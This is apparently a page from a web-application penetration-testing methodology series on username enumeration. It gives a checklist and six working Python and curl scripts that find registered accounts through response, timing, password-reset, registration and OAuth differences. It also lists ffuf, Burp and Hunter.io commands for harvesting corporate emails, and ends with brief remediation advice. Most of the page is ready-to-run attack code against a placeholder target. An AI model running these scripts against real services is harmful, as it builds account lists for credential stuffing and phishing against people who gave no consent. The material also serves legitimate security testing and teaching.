Username Enumeration

Severity: Medium | CWE: CWE-204, CWE-203 OWASP: A07:2021 – Identification and Authentication Failures


What Is Username Enumeration?

Username enumeration allows an attacker to determine which usernames (email addresses, account identifiers) are registered in a system. Even without a password, a validated target list dramatically improves credential stuffing, targeted phishing, and brute force efficiency.

Enumeration channels:

  1. Differential HTTP responses: different status code, body text, or length for valid vs invalid usernames
  2. Timing differences: valid usernames trigger more computation (password hash comparison) → measurable delay
  3. Indirect channels: password reset, registration, OAuth errors, email verification, API error bodies, profile URLs
Indicator comparison:
  Invalid user:  HTTP 200, body: "Invalid credentials"        (13ms)
  Valid user:    HTTP 200, body: "Invalid credentials"        (87ms) ← timing leak
  → identical visible response, but 74ms difference → valid user does bcrypt compare

Discovery Checklist

Phase 1 — Login Endpoint

  • Test with known valid username vs random invalid username — compare response body, length, headers
  • Measure response time (≥10 requests each, average) — does valid username add latency?
  • Compare HTTP status codes: 200 vs 401 vs 403 vs 302
  • Check WWW-Authenticate header differences
  • Look for field-level error messages: “Password incorrect” vs “User not found”
  • Check JSON error codes in API responses: {"code": "INVALID_PASSWORD"} vs {"code": "USER_NOT_FOUND"}

Phase 2 — Other Enumeration Channels

  • Password reset: “Reset email sent” vs “Email not found” — or always same message but timing differs
  • Registration: “Username taken” vs “Username available”
  • OAuth “Login with Google” — try linking an email that is/isn’t registered
  • Profile pages: /users/username → 200 vs 404
  • API: GET /api/users/username → 200/403 (exists) vs 404 (not found)
  • Email verification resend: valid email gets email, invalid gets different response
  • “Forgot username” feature — enter email, observe response difference

Phase 3 — Indirect / Blind Enumeration

  • Registration CAPTCHA: only shown for existing usernames (some systems pre-validate)
  • Login redirect timing: valid user redirected to dashboard, invalid redirected to login
  • Account lockout: after N attempts, valid account locks → error message changes
  • CSS/JS loaded on login fail for valid user (2FA prompt CSS preloaded)

Payload Library

Payload 1 — Response Differential Detection

#!/usr/bin/env python3
"""
Username enumeration via response comparison
Identify differences in: status code, body length, body content, response time
"""
import requests, time, statistics, json

TARGET = "https://target.com/api/auth/login"
HEADERS = {"Content-Type": "application/json"}
KNOWN_VALID = "admin@target.com"  # or any email you know is valid (your own account)

def probe_login(username, iterations=5):
    """Test login with wrong password, measure response"""
    times = []
    last_response = None
    for _ in range(iterations):
        start = time.monotonic()
        r = requests.post(TARGET, headers=HEADERS,
                          json={"username": username, "password": "INVALID_PASS_XYZ123!"},
                          timeout=30)
        elapsed = (time.monotonic() - start) * 1000
        times.append(elapsed)
        last_response = r
    return {
        "username": username,
        "status": last_response.status_code,
        "body_len": len(last_response.text),
        "body_preview": last_response.text[:200],
        "avg_ms": statistics.mean(times),
        "stdev_ms": statistics.stdev(times) if len(times) > 1 else 0,
    }

# Baseline with known valid and invalid:
print("[*] Profiling known valid user...")
valid_profile = probe_login(KNOWN_VALID)
print(f"    Valid: {valid_profile['avg_ms']:.1f}ms avg, len={valid_profile['body_len']}")
print(f"    Body: {valid_profile['body_preview'][:100]}")

print("[*] Profiling known invalid user...")
invalid_profile = probe_login("definitely_not_registered_xyz123@invalid.tld")
print(f"    Invalid: {invalid_profile['avg_ms']:.1f}ms avg, len={invalid_profile['body_len']}")
print(f"    Body: {invalid_profile['body_preview'][:100]}")

timing_diff = valid_profile['avg_ms'] - invalid_profile['avg_ms']
body_diff = valid_profile['body_len'] - invalid_profile['body_len']

print(f"\n[*] Timing difference: {timing_diff:.1f}ms")
print(f"[*] Body length difference: {body_diff} chars")

# Enumerate a list of usernames:
CANDIDATES = ["admin", "administrator", "root", "user", "test", "support", "info"]

print("\n[*] Enumerating username list...")
for username in CANDIDATES:
    probe = probe_login(username + "@target.com", iterations=3)
    # Classify based on baseline:
    timing_match = abs(probe['avg_ms'] - valid_profile['avg_ms']) < abs(probe['avg_ms'] - invalid_profile['avg_ms'])
    body_match = abs(probe['body_len'] - valid_profile['body_len']) < abs(probe['body_len'] - invalid_profile['body_len'])
    verdict = "LIKELY EXISTS" if (timing_match or body_match) else "likely not found"
    print(f"  {username}: {probe['avg_ms']:.0f}ms, len={probe['body_len']}{verdict}")

Payload 2 — Password Reset Enumeration

#!/usr/bin/env python3
"""
Enumerate via password reset endpoint
Even when response says "If this email exists, we'll send a reset link"
— timing still leaks
"""
import requests, time, statistics

TARGET = "https://target.com/api/password/reset"
HEADERS = {"Content-Type": "application/json", "User-Agent": "Mozilla/5.0"}

def probe_reset(email, iterations=5):
    times = []
    for _ in range(iterations):
        start = time.monotonic()
        r = requests.post(TARGET, headers=HEADERS,
                          json={"email": email}, timeout=30)
        elapsed = (time.monotonic() - start) * 1000
        times.append(elapsed)
    return {
        "email": email,
        "avg_ms": statistics.mean(times),
        "status": r.status_code,
        "body": r.text[:300],
    }

# Common corporate email formats to enumerate:
company = "target.com"
usernames = [
    "admin", "administrator", "ceo", "cto", "cfo",
    "it", "security", "devops", "engineering",
    "support", "helpdesk", "info", "contact",
    "sales", "marketing", "hr", "finance",
    "noreply", "no-reply", "webmaster", "postmaster",
    "root", "test", "staging", "dev",
]

# Also try from LinkedIn, Hunter.io, or breach data:
known_format_emails = [
    f"j.smith@{company}", f"john.smith@{company}",
    f"jsmith@{company}", f"johnsmith@{company}",
    f"john_smith@{company}", f"smith.john@{company}",
]

results = []
for email in [f"{u}@{company}" for u in usernames] + known_format_emails:
    profile = probe_reset(email, iterations=3)
    results.append(profile)
    print(f"{email}: {profile['avg_ms']:.0f}ms | {profile['status']}")

# Find outliers (significantly slower = user exists → bcrypt/scrypt hash computed):
times = [r['avg_ms'] for r in results]
mean_t = statistics.mean(times)
stdev_t = statistics.stdev(times)

print(f"\n[*] Mean: {mean_t:.0f}ms, Stdev: {stdev_t:.0f}ms")
print("[*] Likely valid accounts (>1.5 stdev above mean):")
for r in results:
    if r['avg_ms'] > mean_t + 1.5 * stdev_t:
        print(f"  [!!!] {r['email']}: {r['avg_ms']:.0f}ms")

Payload 3 — Registration Endpoint Enumeration

# Test registration endpoint for existing username detection:
# Response differs: "Username already taken" vs successful registration

# Burp Intruder payload — try common usernames:
POST /api/register HTTP/1.1
Content-Type: application/json

{"username": "§admin§", "email": "§admin§@target.com", "password": "TestPass123!"}

# Compare responses:
# 409 Conflict or "Email already in use" → user EXISTS
# 200/201 Created → user does NOT exist

# Batch test with curl:
for username in admin administrator root test support info webmaster; do
  response=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "https://target.com/api/register" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"${username}@target.com\",\"password\":\"TestPass123!\",\"username\":\"${username}\"}")
  echo "$username → HTTP $response"
  sleep 0.5
done

# Profile/user endpoint enumeration (IDOR check):
# GET /users/USERNAME → 200 (found) vs 404 (not found)
for username in admin john.smith alice bob.jones; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/users/$username")
  echo "$username$status"
done

# API endpoint: GET /api/users/check?email=X
curl "https://target.com/api/users/check?email=admin@target.com"
curl "https://target.com/api/users/availability?username=admin"
# → {"available": false} = user exists

Payload 4 — OAuth / SSO Enumeration

# OAuth provider "Login with Google/GitHub" — try linking an email:
# If account with that email exists → "Account already linked" or redirect to login
# If not → new account created or "no account found"

# Test Google OAuth flow with known/unknown emails:
# 1. Start OAuth flow → get state token
# 2. In callback, provide email via token manipulation

# Azure AD / OIDC UserInfo endpoint enumeration:
# Some identity providers return different errors for unknown vs locked accounts
curl -X POST "https://login.microsoftonline.com/TENANT/oauth2/token" \
  -d "grant_type=password&client_id=CLIENT_ID&username=test@target.com&password=WRONG"
# Error: AADSTS50034 → user not found in directory
# Error: AADSTS50126 → user found, invalid password
# Error: AADSTS50053 → user found, account locked
# Error: AADSTS50057 → user found, account disabled

# GitHub-style: /users/USERNAME API (public, no auth needed):
curl "https://target.com/api/v1/users/CANDIDATE_USERNAME"
# 200 = exists, 404 = not found

# Subdomain enumeration for email format discovery:
# Before enumerating → discover email format:
# Check LinkedIn, Hunter.io, company website for exposed email patterns
curl "https://api.hunter.io/v2/domain-search?domain=target.com&api_key=YOUR_KEY"

Payload 5 — Timing Attack Measurement

#!/usr/bin/env python3
"""
Statistical timing-based username enumeration
Accounts for network jitter with median filtering and statistical outlier detection
"""
import requests, time, statistics, json, sys
from concurrent.futures import ThreadPoolExecutor

TARGET = "https://target.com/api/login"

def measure_login_time(username, n=15):
    """Measure n login attempts and return statistical measures"""
    times = []
    for _ in range(n):
        payload = json.dumps({"username": username, "password": "P@ssw0rd_INVALID_XYZ"})
        t0 = time.monotonic()
        try:
            requests.post(TARGET,
                         headers={"Content-Type": "application/json"},
                         data=payload, timeout=15)
        except: pass
        times.append((time.monotonic() - t0) * 1000)

    times.sort()
    # Remove top/bottom 10% as outliers (network jitter):
    trim = max(1, len(times) // 10)
    trimmed = times[trim:-trim] if len(times) > 2*trim else times
    return {
        "username": username,
        "median": statistics.median(trimmed),
        "mean": statistics.mean(trimmed),
        "stdev": statistics.stdev(trimmed) if len(trimmed) > 1 else 0,
        "min": min(trimmed),
        "max": max(trimmed),
    }

# Step 1: Calibrate with known users
print("[*] Calibrating...")
baseline_valid = measure_login_time("YOUR_OWN_ACCOUNT@target.com")
baseline_invalid = measure_login_time("zzz_definitely_not_real_xyz789@invalid.example")

print(f"Valid baseline:   median={baseline_valid['median']:.1f}ms ±{baseline_valid['stdev']:.1f}")
print(f"Invalid baseline: median={baseline_invalid['median']:.1f}ms ±{baseline_invalid['stdev']:.1f}")

threshold = baseline_valid['median'] * 0.75  # 75% of valid user time

# Step 2: Enumerate
candidates = [line.strip() for line in open('email_wordlist.txt') if line.strip()]

print(f"\n[*] Enumerating {len(candidates)} candidates (threshold: {threshold:.0f}ms)...")
found = []

for username in candidates:
    result = measure_login_time(username, n=7)  # fewer iterations for speed
    indicator = "✓ VALID" if result['median'] > threshold else "✗ invalid"
    print(f"  {username}: {result['median']:.0f}ms {indicator}")
    if result['median'] > threshold:
        found.append(username)

print(f"\n[+] Likely valid accounts: {found}")

Payload 6 — Side-Channel via Error Messages

# Collect error messages systematically — look for field-specific differences:

# Test login with various scenarios:
scenarios=(
  '{"username":"valid@target.com","password":"WrongPassword1!"}'
  '{"username":"invalid_xyz@notreal.com","password":"WrongPassword1!"}'
  '{"username":"valid@target.com","password":""}'
  '{"username":"invalid@notreal.com","password":""}'
  '{"username":"valid@target.com","password":"a"}'
  '{"username":"VALID@TARGET.COM","password":"wrong"}'  # case sensitivity test
)

for payload in "${scenarios[@]}"; do
  echo "Payload: $payload"
  curl -s -X POST "https://target.com/api/login" \
    -H "Content-Type: application/json" \
    -d "$payload" | python3 -m json.tool 2>/dev/null || echo "(non-JSON response)"
  echo "---"
done

# Look for these differentiating signals in responses:
# - Different "code" fields: USER_NOT_FOUND vs INVALID_PASSWORD vs ACCOUNT_LOCKED
# - Different HTTP status: 401 (auth failed) vs 404 (user not found) vs 403 (disabled)
# - Different "message" wording: "Invalid credentials" vs "Account not found"
# - Different response headers: Set-Cookie (session started = user found)
# - Different redirect targets: /login/2fa (user valid, 2FA required)
# - Different JSON schema: error has "attempts_remaining" field only for valid users

# Multi-channel enumeration: combine endpoints for higher confidence
python3 << 'EOF'
import requests

target = "target.com"
email = "test@target.com"

endpoints = {
    "login": f"https://{target}/api/login",
    "reset": f"https://{target}/api/password/reset",
    "register": f"https://{target}/api/register",
    "check": f"https://{target}/api/users/exists",
}

payloads = {
    "login": {"username": email, "password": "WRONG"},
    "reset": {"email": email},
    "register": {"email": email, "username": "test", "password": "Test123!"},
    "check": {"email": email},
}

for name, url in endpoints.items():
    try:
        r = requests.post(url, json=payloads[name], timeout=5)
        print(f"{name}: HTTP {r.status_code} | {r.text[:150]}")
    except Exception as e:
        print(f"{name}: {e}")
EOF

Tools

# ffuf — fast username enumeration:
ffuf -u https://target.com/api/login \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"username":"FUZZ@target.com","password":"invalidpassword"}' \
  -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  -mc 200 -fs BASELINE_SIZE  # filter by body size change

# Usernames wordlists (SecLists):
# /usr/share/seclists/Usernames/Names/names.txt
# /usr/share/seclists/Usernames/top-usernames-shortlist.txt
# /usr/share/seclists/Usernames/xato-net-10-million-usernames-ug.txt

# For email-based targets — generate corporate email variants:
company="target.com"
name="john smith"
python3 -c "
name = 'john smith'
parts = name.split()
f, l = parts[0], parts[1]
domain = 'target.com'
formats = [
    f'{f}@{domain}',f'{l}@{domain}',
    f'{f}.{l}@{domain}',f'{f[0]}.{l}@{domain}',
    f'{f[0]}{l}@{domain}',f'{f}{l[0]}@{domain}',
    f'{l}.{f}@{domain}',f'{f}_{l}@{domain}',
]
print('\n'.join(formats))
"

# Burp Suite Intruder:
# Attack type: Sniper on username field
# Payload: email wordlist or username wordlist
# Grep match: response body/length differences
# Track: response time column (enable in columns)

# Timing-based enumeration with turbo intruder:
# (Python script in Turbo Intruder BApp)
# Set iterations=20 per username, use median timing

# Hunter.io — discover real email addresses:
curl "https://api.hunter.io/v2/domain-search?domain=target.com&api_key=KEY" | \
  python3 -c "import sys,json; d=json.load(sys.stdin); [print(e['value']) for e in d['data']['emails']]"

# IntelliX / PhoneBook.cz — email enumeration from breaches:
# OSINT sources for email discovery before brute-forcing

Remediation Reference

  • Generic error messages: always return the exact same message for invalid username and invalid password — “Invalid credentials” with no field-level distinction
  • Constant-time response: use hash_equals() in PHP, hmac.compare_digest() in Python — always hash a dummy password even when the user doesn’t exist to normalize response time
  • Same status code: return HTTP 200 (or always 401) regardless of whether user exists or not — never return 404 for missing user at login endpoint
  • Rate limiting + CAPTCHA: on login, password reset, and registration — prevent automated enumeration
  • Password reset response: always say “If your email is registered, you’ll receive a reset link” — don’t differentiate
  • Registration: consider allowing registration regardless and merge accounts via email verification, or use CAPTCHA to slow enumeration
  • Subdomain/profile pages: return 404 for non-existent users or implement authorization checks that return 403 for all (not 404 for missing, 403 for unauthorized)

Part of the Web Application Penetration Testing Methodology series.